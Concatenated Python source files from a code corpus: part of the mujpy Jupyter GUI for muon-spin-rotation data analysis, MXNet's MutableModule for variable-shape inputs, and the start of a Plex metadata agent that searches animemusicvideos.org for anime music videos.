anim_delay = IntText(description='Delay (ms)',value=1000, layout=Layout(width='20%'))
anim_delay.style.description_width = '45%'
anim_stop_start = ToggleButton(description='start/stop',value=True,layout={'width':'12%'})
anim_stop_start.observe(on_start_stop,'value')
# anim_stop_start.style.button_color = self.button_color
anim_step = Button(description='step',layout={'width':'10%'})
anim_step.on_click(on_step)
anim_step.style.button_color = self.button_color_off
self.multiplot_range = Text(description='plot range\nstart,stop[,pack]',
value=self.plot_range0,layout=Layout(width='26%'),
continuous_update=False)
self.multiplot_range.style.description_width='43%'
self.multiplot_range.observe(on_range,'value')
multiplot_offset0 = '0.1'
multiplot_offset = Text(description='offset',
value=multiplot_offset0,layout=Layout(width='12%'),
continuous_update=False)
multiplot_offset.style.description_width='35%'
# self.tlog_accordion.layout.height='10'
multibox = HBox([multiplot_button,anim_check,anim_delay,anim_stop_start,self.multiplot_range,multiplot_offset,
Label(layout=Layout(width='3%'))],layout=Layout(width='100%',border='2px solid dodgerblue'))
###################
# counters inspect
###################
counterlabel = Label(value='Inspect',layout=Layout(width='7%'))# count
counterplot_button = Button(description='counters',layout=Layout(width='10%'))
counterplot_button.on_click(on_counterplot)
counterplot_button.style.button_color = self.button_color
self.counternumber = Label(value='{} counters per run'.format(' '),layout=Layout(width='15%'))
counter_range = Text(description='counters',
value='', continuous_update=False,layout=Layout(width='20%'))
counter_range.style.description_width='33%'
counter_range.observe(on_counter,'value')
self.counterplot_range = Text(description='bins: start,stop',
value=self.bin_range0,continuous_update=False,layout=Layout(width='25%'))
self.counterplot_range.style.description_width='40%'
self.counterplot_range.observe(on_range,'value')
self.choose_nrun = Dropdown(options=[], description='run', layout=Layout(width='15%'))
self.choose_nrun.style.description_width='25%'
counterbox = HBox([Label(layout=Layout(width='3%')),counterlabel,counterplot_button,Label(layout=Layout(width='3%')),self.counternumber,
counter_range,self.counterplot_range,self.choose_nrun],layout=Layout(width='100%',border='2px solid dodgerblue'))
##########
# TLOG PSI
##########
spacer = Label(layout=Layout(width='3%'))
tloglabel = Label(value='Tlog',layout=Layout(width='7%'))
tlog_button = Button(description='display',layout=Layout(width='10%'))
tlog_button.on_click(on_tlogdisplay)
tlog_button.style.button_color = self.button_color
options = {} # empty slot to start with
self.choose_tlogrun = Dropdown(options=options,description='Tlog run', layout=Layout(width='15%')) #
self.choose_tlogrun.style.description_width='35%'
nexttlog_button = Button(description='Next',layout=Layout(width='10%'))
nexttlog_button.on_click(on_nexttlog)
nexttlog_button.style.button_color = self.button_color
prevtlog_button = Button(description='Prev',layout=Layout(width='10%'))
prevtlog_button.on_click(on_prevtlog)
prevtlog_button.style.button_color = self.button_color
self.tlog_accordion = Accordion(children=[Textarea(layout={'width':'100%','height':'200px',
'overflow_y':'auto','overflow_x':'auto'})])
self.tlog_accordion.set_title(0,'run: T(eT)')
self.tlog_accordion.selected_index = None
tlogbox = HBox([spacer,tloglabel,
tlog_button,
self.choose_tlogrun,
nexttlog_button,prevtlog_button,
self.tlog_accordion],layout=Layout(width='100%',border='2px solid dodgerblue'))
vbox = VBox(layout=Layout(border='2px solid dodgerblue'))
vbox.children = [multibox, counterbox, tlogbox]
self.mainwindow.children[3].children = [vbox]
self.mainwindow.children[3].layout = Layout(border = '2px solid dodgerblue',width='100%')
##########################i
# SETUP
##########################
def setup(self):
'''
setup tab of mugui
used to set:
paths, fileprefix and extension
prepeak, postpeak (for prompt peak fit)
prompt plot check,
to activate:
fit, save and load setup buttons
'''
def load_setup(b):
"""
when user presses this setup tab widget: mugui
loads mujpy_setup.pkl with saved attributes
and replaces them in setup tab Text widgets
"""
import dill as pickle
import os
path = os.path.join(self.__startuppath__,'mujpy_setup.pkl')
# self.console('loading {}, presently in {}'.format(path,os.getcwd()))
try:
with open(path,'rb') as f:
mujpy_setup = pickle.load(f)
except:
self.console('File {} not found'.format(path))
# _paths_content = [ self.paths[k].value for k in range(3) ] # should be 3 ('data','tlag','analysis')
# _filespecs_content = [ self.filespecs[k].value for k in range(2) ] # should be 2 ('fileprefix','extension')
# _prepostpk = [self.prepostpk[k].value for k in range(2)] # 'pre-prompt bin','post-prompt bin' len(bkg_content)
# _nt0 = self.nt0 # numpy array
# _dt0 = self.dt0 # numpy array
try:
for k in range(3): # len(paths_contents)
self.paths[k].value = mujpy_setup['_paths_content'][k] # should be 3 ('data','tlag','analysis')
for k in range(2): # len(filespecs.content)
self.filespecs[k].value = mujpy_setup['_filespecs_content'][k] # should be 2 ('fileprefix','extension')
for k in range(2): # len(bkg_content)
self.prepostpk[k].value = mujpy_setup['_prepostpk'][k] # 'pre-prompt bin','post-prompt bin'
self.nt0 = mujpy_setup['self.nt0'] # bin of peak, nd.array of shape run.get_numberHisto_int()
self.dt0 = mujpy_setup['self.dt0'] # fraction of bin, nd.array of shape run.get_numberHisto_int()
self.lastbin = mujpy_setup['self.lastbin'] # fraction of bin, nd.array of shape run.get_numberHisto_int()
self.nt0_run = mujpy_setup['self.nt0_run'] # dictionary to identify runs belonging to the same setup
return 0
except Exception as e:
self.console('Error in load_setup: {}'.format(e))
# self.console(mujpy_setup['_paths_content'][2])
# self.console('Status: k={},\nself.paths[k].value={}\nself.filespec[k].value={}\nself.prepostpk[k]={}\nself.nt0={},self.dt0={},self.lastbin={},self.nt0_run={}'.format(k,[self.paths[j].value for j in range(3)],[self.filespecs[j].value for j in range(2)],[self.prepostpk[j].value for j in range(2)],self.nt0,self.dt0,self.nt0_run))
return -1
def on_paths_changed(change):
'''
when user changes this setup tab widget mugui
checks that paths exist, in case it creates log path
'''
import os
path = change['owner'].description # description is paths[k] for k in range(len(paths)) ()
k = paths_content.index(path) # paths_content.index(path) is 0,1,2 for paths_content = 'data','tlog','analysis'
if k==1: # tlog
self.newtlogdir = True
directory = self.paths[k].value # self.paths[k] = handles of the corresponding Text
if not os.path.isdir(directory):
if k==2: # analysis, if it does not exist mkdir
# eventualmente togli ultimo os.path.sep = '/' in directory
dire=directory
if dire.rindex(os.path.sep)==len(dire):
dire=dire[:-1]
# splitta all'ultimo os.path.sep = '/'
prepath=dire[:dire.rindex(os.path.sep)+1]
# controlla che prepath esista
# print('prepath for try = {}'.format(prepath))
try:
os.stat(prepath)
os.mkdir(dire+os.path.sep)
self.console('Analysis path {} created\n'.format(directory))
except:
self.paths[k].value = os.path.curdir
self.console('Analysis path {} does not exist and cannot be created\n'.format(directory))
else:
self.paths[k].value = os.path.curdir
self.console('Path {} does not exist, reset to .\n'.format(directory))
def on_prompt_fit_click(b):
'''
when user presses this setup tab widget mugui
executes prompt fits
'''
promptfit(mplot=self.plot_check.value) # mprint we leave always False
def promptfit(mplot = False, mprint = False):
'''
launches t0 prompts fit::
fits peak positions
prints migrad results
plots prompts and their fit (if plot checked)
stores bins for background and t0
refactored for run addition and
suite of runs
WARNING: this module is for PSI only
'''
import numpy as np
from iminuit import Minuit, describe
import matplotlib.pyplot as P
from mujpy.mucomponents.muprompt import muprompt
font = {'family' : 'Ubuntu','size' : 8}
P.rc('font', **font)
dpi = 100.
second_plateau = 100
peakheight = 100000.
peakwidth = 1.
if not self._the_runs_:
self.console('No run loaded yet! Load one first (select suite tab).')
else:
###################################################
# fit a peak with different left and right plateaus
###################################################
#############################
# guess prompt peak positions
#############################
npeaks = []
for counter in range(self._the_runs_[0][0].get_numberHisto_int()):
histo = np.empty(self._the_runs_[0][0].get_histo_array_int(counter).shape)
for k in range(len(self._the_runs_[0])): # may add runs
histo += self._the_runs_[0][k].get_histo_array_int(counter)
npeaks.append(np.where(histo==histo.max())[0][0])
npeaks = np.array(npeaks)
###############
# right plateau
###############
nbin = max(npeaks) + second_plateau # this sets a counter dependent second plateau bin interval
x = np.arange(0,nbin,dtype=int) # nbin bins from 0 to nbin-1
self.lastbin, np3s = npeaks.min() - self.prepostpk[0].value, npeaks.max() + self.prepostpk[1].value # final bin of first and
if mplot:
##############################
# set or recover figure, axes
##############################
if self.fig_counters:
self.fig_counters.clf()
self.fig_counters,self.ax_counters = P.subplots(2,3,figsize=(7.5,5),num=self.fig_counters.number)
else:
self.fig_counters,self.ax_counters = P.subplots(2,3,figsize=(7.5,5),dpi=dpi)
self.fig_counters.canvas.set_window_title('Prompts fit')
screen_x, screen_y = P.get_current_fig_manager().window.wm_maxsize() # screen size in pixels
y_maxinch = float(screen_y)/dpi # maximum y size in inches
prompt_fit_text = [None]*self._the_runs_[0][0].get_numberHisto_int()
for counter in range(self._the_runs_[0][0].get_numberHisto_int(),sum(self.ax_counters.shape)):
self.ax_counters[divmod(counter,3)].cla()
self.ax_counters[divmod(counter,3)].axis('off')
x0 = np.zeros(self._the_runs_[0][0].get_numberHisto_int()) # for center of peaks
for counter in range(self._the_runs_[0][0].get_numberHisto_int()):
# prepare for muprompt fit
histo = np.empty(self._the_runs_[0][0].get_histo_array_int(counter).shape)
for k in range(len(self._the_runs_[0])): # may add runs
histo += self._the_runs_[0][k].get_histo_array_int(counter)
p = [ peakheight, float(npeaks[counter]), peakwidth,
np.mean(histo[self.firstbin:self.lastbin]),
np.mean(histo[np3s:nbin])]
y = histo[:nbin]
##############
# guess values
##############
pars = dict(a=p[0],error_a=p[0]/100,x0=p[1]+0.1,error_x0=p[1]/100,
dx=1.1,error_dx=0.01,
ak1=p[3],error_ak1=p[3]/100,ak2=p[4],error_ak2=p[4]/100)
level = 1 if mprint else 0
mm = muprompt()
mm._init_(x,y)
m = Minuit(mm,pedantic=False,print_level=level,**pars)
m.migrad()
A,X0,Dx,Ak1,Ak2 = m.args
x0[counter] = X0 # store float peak bin position (fractional)
if mplot:
n1 = npeaks[counter]-50
n2 = npeaks[counter]+50
x3 = np.arange(n1,n2,1./10.)
# with self.t0plot_container:
# if self.first_t0plot:
self.ax_counters[divmod(counter,3)].cla()
self.ax_counters[divmod(counter,3)].plot(x[n1:n2],y[n1:n2],'.')
self.ax_counters[divmod(counter,3)].plot(x3,mm.f(x3,A,X0,Dx,Ak1,Ak2))
x_text,y_text = npeaks[counter]+10,0.8*max(y)
prompt_fit_text[counter] = self.ax_counters[divmod(counter,3)].text(x_text,y_text,'Det #{}\nt0={}bin\n$\delta$t0={:.2f}'.format
(counter+1,x0.round().astype(int)[counter],x0[counter]-x0.round().astype(int)[counter]))
if mplot:
self.fig_counters.canvas.manager.window.tkraise()
P.draw()
##################################################################################################
# Simple cases:
# 1) Assume the prompt is entirely in bin nt0. (python convention, the bin index is 0,...,n,...
# The content of bin nt0 will be the t=0 value for this case and dt0 = 0.
# The center of bin nt0 will correspond to time t = 0, time = (n-nt0 + mufit.offset + mufit.dt0)*mufit.binWidth_ns/1000.
# 2) Assume the prompt is equally distributed between n and n+1. Then nt0 = n and dt0 = 0.5, the same formula applies
# 3) Assume the prompt is 0.45 in n and 0.55 in n+1. Then nt0 = n+1 and dt0 = -0.45, the same formula applies.
##################################################################################################
# these three are the sets of parameters used by other methods
self.nt0 = x0.round().astype(int) # bin of peak, nd.array of shape run.get_numberHisto_int()
self.dt0 = x0-self.nt0 # fraction of bin, nd.array of shape run.get_numberHisto_int()
self.lastbin = self.nt0.min() - self.prepostpk[0].value # nd.array of shape run.get_numberHisto_int()
self.nt0_run = self.create_rundict()
nt0.children[0].value = ' '.join(map(str,self.nt0.astype(int)))
dt0.children[0].value = ' '.join(map('{:.2f}'.format,self.dt0))
# refresh, they may be slightly adjusted by the fit
def save_log(b):
"""
when user presses this setup tab button mugui
saves ascii file .log with run list in data directory
"""
import os
from glob import glob
from mujpy.musr2py.musr2py import musr2py as muload
# from psibin import MuSR_td_PSI_bin as muload
from mujpy.aux.aux import value_error
run_files = sorted(glob(os.path.join(self.paths[0].value, '*.bin')))
run = muload()
run.read(run_files[0])
filename=run.get_sample()+'.log'
nastychar=list(' #%&{}\<>*?/$!'+"'"+'"'+'`'+':@')
for char in nastychar:
filename = "_".join(filename.split(char))
path_file = os.path.join(self.paths[0].value, filename) # set to [2] for analysis
with open (path_file,'w') as f:
#7082 250.0 250.0(1) 3 4.8 23:40:52 17-DEC-12 PSI8KMnFeF Powder PSI 8 K2.5Mn2.5Fe2.5F15, TF cal 30G, Veto ON, SR ON
f.write("Run\tT_nom/T_meas(K)\t\tB(mT)\tMev.\tStart Time & Date\tSample\t\tOrient.\tComments\n\n")
for run_file in run_files:
run.read(run_file)
TdT = value_error(run.get_temperatures_vector()[self.thermo],
run.get_devTemperatures_vector()[self.thermo])
tsum = 0
for counter in range(run.get_numberHisto_int()):
histo = run.get_histo_array_int(counter).sum()
tsum += histo
BmT = float(run.get_field().strip()[:-1])/10. # convert to mT, avoid last chars 'G '
Mev = float(tsum)/1.e6
#Run T TdT BmT Mev Date sam or com
f.write('{}\t{}/{}\t{:.1f}\t{:.1f}\t{}\t{}\t{}\t{}\n'.format(run.get_runNumber_int(),
run.get_temp(), TdT, BmT, Mev, run.get_timeStart_vector(),
run.get_sample().strip(), run.get_orient().strip(), run.get_comment().strip() ))
self.console('Saved logbook {}'.format(path_file))
def save_setup(b):
"""
when user presses this setup tab button mugui
saves mujpy_setup.pkl with setup tab values
"""
import dill as pickle
import os
path = os.path.join(self.__startuppath__, 'mujpy_setup.pkl')
# create dictionary setup_dict to be pickled
_paths_content = [ self.paths[k].value for k in range(3) ] # should be 3 ('data','tlag','analysis')
_filespecs_content = [ self.filespecs[k].value for k in range(2) ] # should be 2 ('fileprefix','extension')
_prepostpk = [self.prepostpk[k].value for k in range(2)] # 'pre-prompt bin','post-prompt bin' len(bkg_content)
names = ['_paths_content','_filespecs_content',
'_prepostpk','self.nt0','self.dt0','self.lastbin','self.nt0_run'] # keys
setup_dict = {}
for k,key in enumerate(names):
setup_dict[names[k]] = eval(key) # key:value
with open(path,'wb') as f:
pickle.dump(setup_dict, f) # according to __getstate__()
self.console('Saved {}'.format(os.path.join(self.__startuppath__,'mujpy_setup.pkl')))
from ipywidgets import HBox, Layout, VBox, Text, Textarea, IntText, Checkbox, Button, Output, Accordion
from numpy import array
# setup for things that have to be set initially (paths, t0, etc.)
# the tab is self.mainwindow.children[2], a VBox
# containing a setup_box of three HBoxes: path, and t0plot
# path is made of a firstcolumn, paths, and a secondcolumns, filespecs, children of setup_box[0]
# agt0 is made of three
width = '100%'
height = 'auto'
# ---------------firstrow
datapath = Text(description='data',
description_tooltip='data path\n(./ is is the folder\nwhere you launched jupyter)',
continuous_update=False,
layout=Layout(width='30%')) # 30%
datapath.style.description_width='10%'
fileprefix = Text(description='fileprefix',
description_tooltip='e.g. deltat_tdc_gps_',
continuous_update=False,
layout=Layout(width='20%')) # 45%
fileprefix.style.description_width='30%'
extension = Text(description='extension',
description_tooltip='e.g. bin',
continuous_update=False,
layout=Layout(width='15%')) # 65%
extension.style.description_width='45%'
logpath = Text(description='analysis',
description_tooltip='analysis path\n(./ is is the folder\nwhere you launched jupyter)',
continuous_update=False,
layout=Layout(width='20%')) # 85%
logpath.style.description_width='30%'
tlogpath = Text(description='tlog',
description_tooltip='tlog path\n(./ is is the folder\nwhere you launched jupyter)',
continuous_update=False,
layout=Layout(width='15%')) # 100%
tlogpath.style.description_width='20%'
self.paths = [datapath, tlogpath, logpath]
for k in range(len(self.paths)):
self.paths[k].observe(on_paths_changed,'value')
# self.paths[k].value='.'+os.path.sep
paths_content = ['data','tlog','analysis']
self.filespecs = [fileprefix, extension]
firstrow = HBox([self.paths[0], self.filespecs[0],
self.filespecs[1],self.paths[2], self.paths[1]],
layout=Layout(width=width))
#----------------- secondrow
prepeak = IntText(description='prepeak',
description_tooltip='bins before prompt\nfor left plateau',
value = 7,
layout=Layout(width='14%'),
continuous_update=False) # 14%
prepeak.style.description_width='50%'
postpeak = IntText(description='postpeak',
description_tooltip='bins after prompt\nfor right plateau',
value = 7,
layout=Layout(width='15%'),
continuous_update=False) # 29%
postpeak.style.description_width='50%'
self.prepostpk = [prepeak, postpeak]
self.plot_check = Checkbox(description='prompt plot',
description_tooltip = 'Show results after fit',
value=True,
layout=Layout(width='15%')) # 44%
self.plot_check.style.description_width='1%'
fit_button = Button(description='prompt fit',
tooltip = 't0 is fitted as prompt centre\n(peak on step function)',
layout=Layout(width='14%')) # 58%
fit_button.on_click(on_prompt_fit_click)
fit_button.style.button_color = self.button_color
save_button = Button(description='save setup',
tooltip = 'in file mujpy_setup.pkl\nloaded at startup',
layout=Layout(width='14%')) # 72%
save_button.style.button_color = self.button_color
save_button.on_click(save_setup)
load_button = Button(description='load setup',
tooltip = 'from file mujpy_setup.pkl',
layout=Layout(width='14%')) # 86%
load_button.style.button_color = self.button_color
load_button.on_click(load_setup)
log_button = Button(description='Data log',
tooltip = 'Writes titles of runs\nin data path',
layout=Layout(width='14%')) #100%
log_button.on_click(save_log)
log_button.style.button_color = self.button_color
secondrow = HBox([prepeak,postpeak,
fit_button,self.plot_check,
save_button,load_button,log_button],
layout=Layout(width=width))
#--------------thirdrow
nt0 = Accordion(children=[Text(description='t0 [bins]',
layout={'width':'99%'})],
font_size=8,
layout={'width':'35%','height':height})
nt0.children[0].style.description_width='20%'
nt0.set_title(0,'t0 (prompt center bins)')
nt0.selected_index = None
dt0 = Accordion(children=[Text(description='dt0 [bins]',
layout={'width':'99%'})],
font_size=8,
layout={'width':'35%','height':height})
dt0.children[0].style.description_width='20%'
dt0.set_title(0,'t0 remainders (fractions of bin)')
dt0.selected_index = None
self.nt0,self.dt0 = array([0.]),array([0.])
load_setup([]) # invokes load_setup to load mujpy_setup.pkl
nt0.children[0].value = ' '.join(map(str,self.nt0.astype(int)))
dt0.children[0].value = ' '.join(map('{:.2f}'.format,self.dt0))
thirdrow = HBox([nt0,dt0],layout=Layout(width=width,height=height))
if not self.nt0_run:
self.console('WARNING: you must fix t0 = 0, please do a prompt fit from the setup tab')
setup_hbox = [VBox([firstrow,secondrow,thirdrow],
layout=Layout(width=width))]
self.mainwindow.children[2].children = setup_hbox # first tab (setup)
self.mainwindow.children[2].layout=Layout(border='2px solid dodgerblue',
width=width,height='auto')
######################
# GET_TOTALS
######################
def get_totals(self):
'''
calculates the grand totals and group totals
after a single run
or a run suite are read
'''
import numpy as np
# called only by self.suite after having loaded a run or a run suite
###################
# grouping set
# initialize totals
###################
gr = set(np.concatenate((self.grouping['forward'],self.grouping['backward'])))
ts,gs = [],[]
if self.offset: # True if self.offset is already created by self.fit()
offset_bin = self.offset.value # self.offset.value is int
else: # should be False if self.offset = [], as set in self.__init__()
offset_bin = self.offset0 # temporary parking
for k,runs in enumerate(self._the_runs_):
tsum, gsum = 0, 0
for j,run in enumerate(runs): # add values for runs to add
for counter in range(run.get_numberHisto_int()):
n1 = offset_bin+self.nt0[counter]
# if self.nt0 not yet read it is False and totals include prompt
histo = run.get_histo_array_int(counter)[n1:].sum()
tsum += histo
if counter in gr:
gsum += histo
ts.append(tsum)
gs.append(gsum)
# print('In get totals inside loop,k {}, runs {}'.format(k,runs))
#######################
# strings containing
# individual run totals
#######################
# self.tots_all.value = '\n'.join(map(str,np.array(ts)))
# self.tots_group.value = ' '.join(map(str,np.array(gs)))
# print('In get totals outside loop, ts {},gs {}'.format(ts,gs))
#####################
# display values for self._the_runs_[0][0]
self.totalcounts.value = str(ts[0])
self.groupcounts.value = str(gs[0])
# self.console('Updated Group Total for group including counters {}'.format(gr)) # debug
self.nsbin.value = '{:.3}'.format(self._the_runs_[0][0].get_binWidth_ns())
self.maxbin.value = str(self.histoLength)
# def introspect(self):# mark for deletion: use MuJPy.__dict__ directly below GUI
# '''
# print updated attributes of the class mugui
# after each fit in file "mugui.attributes.txt"
# in self.__startuppath__
# '''
# import os
# import pprint
# # from ipywidgets import VBox, HBox, Image, Text, Textarea, Layout, Button, IntText, Checkbox, Output, Accordion, Dropdown, FloatText, Tab
# # trick to avoid printing the large mujpy log image binary file
# image = self.__dict__['gui'].children[0].children[0].value
# self.__dict__['gui'].children[0].children[0].value=b''
# with open(os.path.join(self.__startuppath__,"mugui.attributes.txt"),'w') as f:
# pprint.pprint('**************************************************',f)
# pprint.pprint('* Mugui attribute list: *',f)
# pprint.pprint('**************************************************',f)
# pprint.pprint(self.__dict__,f)
# self.__dict__['gui'].children[0].children[0].value=image
| {
"repo_name": "RDeRenzi/mujpy",
"path": "mujpy/mugui.py",
"copies": "1",
"size": "236692",
"license": "mit",
"hash": 6559061560280544000,
"line_mean": 52.5740153916,
"line_max": 346,
"alpha_frac": 0.4828932359,
"autogenerated": false,
"ratio": 4.024108266177021,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5007001502077021,
"avg_score": null,
"num_lines": null
} |
"""A `MutableModule` implement the `BaseModule` API, and allows input shape
varying with training iterations. If shapes vary, executors will rebind,
using shared arrays from the initial module binded with maximum shape.
"""
import logging
from mxnet import context as ctx
from mxnet.initializer import Uniform
from mxnet.module.base_module import BaseModule
from mxnet.module.module import Module
class MutableModule(BaseModule):
"""A mutable module is a module that supports variable input data.
Parameters
----------
symbol : Symbol
data_names : list of str
label_names : list of str
logger : Logger
context : Context or list of Context
work_load_list : list of number
max_data_shapes : list of (name, shape) tuple, designating inputs whose shape vary
max_label_shapes : list of (name, shape) tuple, designating inputs whose shape vary
fixed_param_prefix : list of str, indicating fixed parameters
"""
def __init__(self, symbol, data_names, label_names,
logger=logging, context=ctx.cpu(), work_load_list=None,
max_data_shapes=None, max_label_shapes=None, fixed_param_prefix=None):
super(MutableModule, self).__init__(logger=logger)
self._symbol = symbol
self._data_names = data_names
self._label_names = label_names
self._context = context
self._work_load_list = work_load_list
self._curr_module = None
self._max_data_shapes = max_data_shapes
self._max_label_shapes = max_label_shapes
self._fixed_param_prefix = fixed_param_prefix
fixed_param_names = list()
if fixed_param_prefix is not None:
for name in self._symbol.list_arguments():
for prefix in self._fixed_param_prefix:
if name.startswith(prefix):
fixed_param_names.append(name)
self._fixed_param_names = fixed_param_names
def _reset_bind(self):
self.binded = False
self._curr_module = None
@property
def data_names(self):
return self._data_names
@property
def output_names(self):
return self._symbol.list_outputs()
@property
def data_shapes(self):
assert self.binded
return self._curr_module.data_shapes
@property
def label_shapes(self):
assert self.binded
return self._curr_module.label_shapes
@property
def output_shapes(self):
assert self.binded
return self._curr_module.output_shapes
def get_params(self):
assert self.binded and self.params_initialized
return self._curr_module.get_params()
def init_params(self, initializer=Uniform(0.01), arg_params=None, aux_params=None,
allow_missing=False, force_init=False):
if self.params_initialized and not force_init:
return
assert self.binded, 'call bind before initializing the parameters'
self._curr_module.init_params(initializer=initializer, arg_params=arg_params,
aux_params=aux_params, allow_missing=allow_missing,
force_init=force_init)
self.params_initialized = True
def bind(self, data_shapes, label_shapes=None, for_training=True,
inputs_need_grad=False, force_rebind=False, shared_module=None):
# in case we already initialized params, keep it
if self.params_initialized:
arg_params, aux_params = self.get_params()
# force rebinding is typically used when one want to switch from
# training to prediction phase.
if force_rebind:
self._reset_bind()
if self.binded:
self.logger.warning('Already binded, ignoring bind()')
return
assert shared_module is None, 'shared_module for MutableModule is not supported'
self.for_training = for_training
self.inputs_need_grad = inputs_need_grad
self.binded = True
max_shapes_dict = dict()
if self._max_data_shapes is not None:
max_shapes_dict.update(dict(self._max_data_shapes))
if self._max_label_shapes is not None:
max_shapes_dict.update(dict(self._max_label_shapes))
max_data_shapes = list()
for name, shape in data_shapes:
if name in max_shapes_dict:
max_data_shapes.append((name, max_shapes_dict[name]))
else:
max_data_shapes.append((name, shape))
max_label_shapes = list()
if label_shapes is not None:
for name, shape in label_shapes:
if name in max_shapes_dict:
max_label_shapes.append((name, max_shapes_dict[name]))
else:
max_label_shapes.append((name, shape))
if len(max_label_shapes) == 0:
max_label_shapes = None
module = Module(self._symbol, self._data_names, self._label_names, logger=self.logger,
context=self._context, work_load_list=self._work_load_list,
fixed_param_names=self._fixed_param_names)
module.bind(max_data_shapes, max_label_shapes, for_training, inputs_need_grad,
force_rebind=False, shared_module=None)
self._curr_module = module
# copy back saved params, if already initialized
if self.params_initialized:
self.set_params(arg_params, aux_params)
def init_optimizer(self, kvstore='local', optimizer='sgd',
optimizer_params=(('learning_rate', 0.01),), force_init=False):
assert self.binded and self.params_initialized
if self.optimizer_initialized and not force_init:
self.logger.warning('optimizer already initialized, ignoring.')
return
self._curr_module.init_optimizer(kvstore, optimizer, optimizer_params,
force_init=force_init)
self.optimizer_initialized = True
def forward(self, data_batch, is_train=None):
assert self.binded and self.params_initialized
# get current_shapes
if self._curr_module.label_shapes is not None:
current_shapes = dict(self._curr_module.data_shapes + self._curr_module.label_shapes)
else:
current_shapes = dict(self._curr_module.data_shapes)
# get input_shapes
if data_batch.provide_label is not None:
input_shapes = dict(data_batch.provide_data + data_batch.provide_label)
else:
input_shapes = dict(data_batch.provide_data)
# decide if shape changed
shape_changed = False
for k, v in current_shapes.items():
if v != input_shapes[k]:
shape_changed = True
if shape_changed:
module = Module(self._symbol, self._data_names, self._label_names,
logger=self.logger, context=self._context,
work_load_list=self._work_load_list,
fixed_param_names=self._fixed_param_names)
module.bind(data_batch.provide_data, data_batch.provide_label, self._curr_module.for_training,
self._curr_module.inputs_need_grad, force_rebind=False,
shared_module=self._curr_module)
self._curr_module = module
self._curr_module.forward(data_batch, is_train=is_train)
def backward(self, out_grads=None):
assert self.binded and self.params_initialized
self._curr_module.backward(out_grads=out_grads)
def update(self):
assert self.binded and self.params_initialized and self.optimizer_initialized
self._curr_module.update()
def get_outputs(self, merge_multi_context=True):
assert self.binded and self.params_initialized
return self._curr_module.get_outputs(merge_multi_context=merge_multi_context)
def get_input_grads(self, merge_multi_context=True):
assert self.binded and self.params_initialized and self.inputs_need_grad
return self._curr_module.get_input_grads(merge_multi_context=merge_multi_context)
def update_metric(self, eval_metric, labels):
assert self.binded and self.params_initialized
self._curr_module.update_metric(eval_metric, labels)
def install_monitor(self, mon):
""" Install monitor on all executors """
assert self.binded
self._curr_module.install_monitor(mon)
| {
"repo_name": "rishita/mxnet",
"path": "example/rcnn/rcnn/core/module.py",
"copies": "1",
"size": "8553",
"license": "apache-2.0",
"hash": -9072279401289331000,
"line_mean": 38.7813953488,
"line_max": 106,
"alpha_frac": 0.6221208933,
"autogenerated": false,
"ratio": 4.100191754554171,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0010864214296265585,
"num_lines": 215
} |
"""AMV Scanner for Plex via animemusicvideos.org
"""
import re
import urllib
# We try and exclusively query google to avoid thrashing animemusicvideos.org
GOOGLE_JSON_AMVS = 'http://ajax.googleapis.com/ajax/services/search/web'\
'?v=1.0&rsz=large&q="site:animemusicvideos.org"+video+information+%s'
AMV_SEARCH_URL = 'http://www.animemusicvideos.org/search/quick.php?'\
'criteria=%s&search=Search&go=go'
AMV_INFO_URL = 'http://www.animemusicvideos.org/popups/vid_info.php?v=%s'
AMV_FULL_URL = 'http://www.animemusicvideos.org/members/'\
'members_videoinfo.php?v=%s'
def Start():
pass
class SearchError(RuntimeError):
pass
class Search(object):
"""Search class for search engine execution
This queries animemusicvideos.org first before running against Google
for more complicated queries
Results are stored in `results`
"""
def __init__(self, query):
self.total = 0
self.results = [] # List of (name, vid, year=None, creator=None) sets
query = urllib.quote_plus(query)
self.query = query
try:
self.amvorg(query)
except:
pass
if not self.results or self.total > 100:
try:
self.google(query)
except:
pass
def google(self, query):
"""Run query against Google"""
response = JSON.ObjectFromURL(GOOGLE_JSON_AMVS % query,
sleep=2.0,
cacheTime=86400*30)
if response['responseStatus'] != 200:
Log('Google failed to find results')
raise SearchError('Google did not return successful code')
for result in response['responseData']['results']:
url = result['url']
vid = None
# members_videoinfo.php or download.php
if url.startswith('http://www.animemusicvideos.org/members/'):
try:
params = url.split('%3F', 2)[1].split('%26')
for param in params:
key, value = param.split('%3D')
if key == 'v':
vid = int(value)
except:
continue
elif url.startswith('http://www.animemusicvideos.org'
'/video/'):
try:
vid = int(url.split('/')[-1])
except:
continue
if vid is None:
continue
try:
title = result['titleNoFormatting'].split('Information: ')[1]
except:
title = result['titleNoFormatting']
match = re.match(r'.+Video Information: (.*?)(?: - AnimeMusicVideos.org)?$', result['titleNoFormatting'])
try:
title = match.group(1)
except:
pass
content = result['content'].replace('\\n', '')
year = None
try:
year = re.search(r'Premiered: ([0-9]+)-[0-9]+-[0-9]+;',
content).group(1)
except:
pass
creator = None
try:
creator = re.search(r'Member: .*?;', content).group(1)
except:
pass
self.results.append((title, vid, year, None))
def amvorg(self, query):
"""Run query against animemusicvideos.org"""
try:
search_html = HTML.ElementFromURL(AMV_SEARCH_URL % query,
cacheTime=86400*15)
search_html = search_html.cssselect('#searchResults')[0]
self.total = int(search_html.cssselect('.resultsTotal')[0]
.text_content())
if self.total == 0:
raise SearchError('0 results')
except:
Log('AMVs.org failed to find results')
raise SearchError('AMVs.org failed to find results')
for result in search_html.cssselect('.resultsList .video'):
title = result.cssselect('.title')[0]
name = title.text_content()
vid = re.match(r'.*?([0-9]+)$', title.get('href')).group(1)
year = re.match(r'\(([0-9]+)-[0-9]+-[0-9]+\)',
result.cssselect('.premiereDate')[0]
.text_content()).group(1)
creator = result.cssselect('.creator')[0].text_content()
self.results.append((name, vid, year, creator))
class AMVAgent(Agent.Movies):
"""Anime Music Video Scanner"""
name = 'Anime Music Videos'
languages = [Locale.Language.English]
def search(self, results, media, lang, manual):
sanitized_name = media.name.lower()
if sanitized_name.startswith('amv'):
sanitized_name = sanitized_name[3:]
sanitized_name = sanitized_name.replace('-', ' ')
sanitized_name = sanitized_name.strip()
sanitized_matcher = re.sub(r'[\W]', '', sanitized_name)
for result in Search(sanitized_name).results:
title, vid, year, creator = result
sanitized_title = re.sub(r'[\W]', '', title.lower())
score = 100-Util.LevenshteinDistance(sanitized_title,
sanitized_name)
if creator and len(creator) > 4:
sanitized_creator = re.sub(r'[\W]', '', creator.lower())
if creator in sanitized_matcher:
score += len(creator)
